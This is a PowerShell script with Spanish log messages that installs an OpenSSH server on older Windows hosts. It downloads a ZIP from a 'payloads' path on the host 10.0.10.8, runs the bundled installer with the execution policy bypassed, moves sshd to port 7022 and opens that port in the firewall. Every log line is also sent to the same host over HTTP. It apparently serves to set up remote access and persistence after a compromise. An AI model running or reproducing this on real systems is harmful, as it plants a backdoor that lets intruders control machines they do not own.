84 lines
2.7 KiB
PowerShell
84 lines
2.7 KiB
PowerShell
$ErrorActionPreference = "Continue"
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$logFile = "C:\ssh_install.log"
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function Log($msg) {
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$ts = Get-Date -Format "HH:mm:ss"
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$line = "[$ts] $msg"
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Write-Host $line -ForegroundColor Cyan
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Add-Content -Path $logFile -Value $line
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try { (New-Object Net.WebClient).DownloadString("http://10.0.10.8:8000/log?msg=$msg") | Out-Null } catch {}
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}
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Log "=========================================="
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Log "OPENSSH LEGACY INSTALLER (2008R2+)"
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Log "=========================================="
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$sshDir = "C:\OpenSSH-Win64"
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$zipPath = "C:\OpenSSH-Win64.zip"
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$sshUrl = "http://10.0.10.8:8000/payloads/OpenSSH-Win64.zip"
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try {
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if (Test-Path "$sshDir\sshd.exe") {
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Log "OpenSSH ya instalado en $sshDir"
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} else {
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Log "Paso 1: Descargando ZIP..."
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$wc = New-Object System.Net.WebClient
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$wc.DownloadFile($sshUrl, $zipPath)
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Log "Descarga OK ($zipPath)"
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Log "Paso 2: Extrayendo ZIP..."
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$shell = New-Object -ComObject Shell.Application
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$zip = $shell.NameSpace($zipPath)
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$dest = $shell.NameSpace("C:\")
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$dest.CopyHere($zip.Items(), 0x14)
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Log "Extraido en $sshDir"
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}
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Log "Paso 3: Instalando servicio sshd..."
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cd $sshDir
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powershell -ExecutionPolicy Bypass -File "$sshDir\install-sshd.ps1"
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Log "Servicio instalado"
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Log "Paso 4: Generando host keys..."
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if (!(Test-Path "$sshDir\ssh_host_rsa_key")) {
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& "$sshDir\ssh-keygen.exe" -A
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Log "Host keys generadas"
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} else {
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Log "Host keys ya existen"
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}
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Log "Paso 5: Configurando puerto 7022..."
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$cfg = "$sshDir\sshd_config"
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if (Test-Path "$sshDir\sshd_config_default") {
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Copy-Item "$sshDir\sshd_config_default" $cfg -Force
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}
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if (Test-Path $cfg) {
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$lines = Get-Content $cfg | Where-Object { $_ -notmatch '^\s*#?\s*Port\s+\d+' }
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$newContent = @("Port 7022") + $lines
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$newContent | Set-Content $cfg -Force
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} else {
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"Port 7022" | Set-Content $cfg
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}
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Log "Config: Port 7022"
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Log "Paso 6: Firewall..."
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netsh advfirewall firewall add rule name="SSH-7022" dir=in action=allow protocol=TCP localport=7022
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Log "Firewall actualizado"
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Log "Paso 7: Iniciando servicio..."
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Set-Service sshd -StartupType Automatic -ErrorAction SilentlyContinue
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Start-Service sshd -ErrorAction Stop
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Log "Servicio sshd INICIADO en puerto 7022"
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} catch {
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Log "ERROR: $($_.Exception.Message)"
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Log "LINEA: $($_.InvocationInfo.ScriptLineNumber)"
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}
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Log "=========================================="
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Log "FIN. Log guardado en $logFile"
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Log "=========================================="
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Write-Host ""
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Write-Host "Presiona ENTER para cerrar..." -ForegroundColor Yellow
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Read-Host
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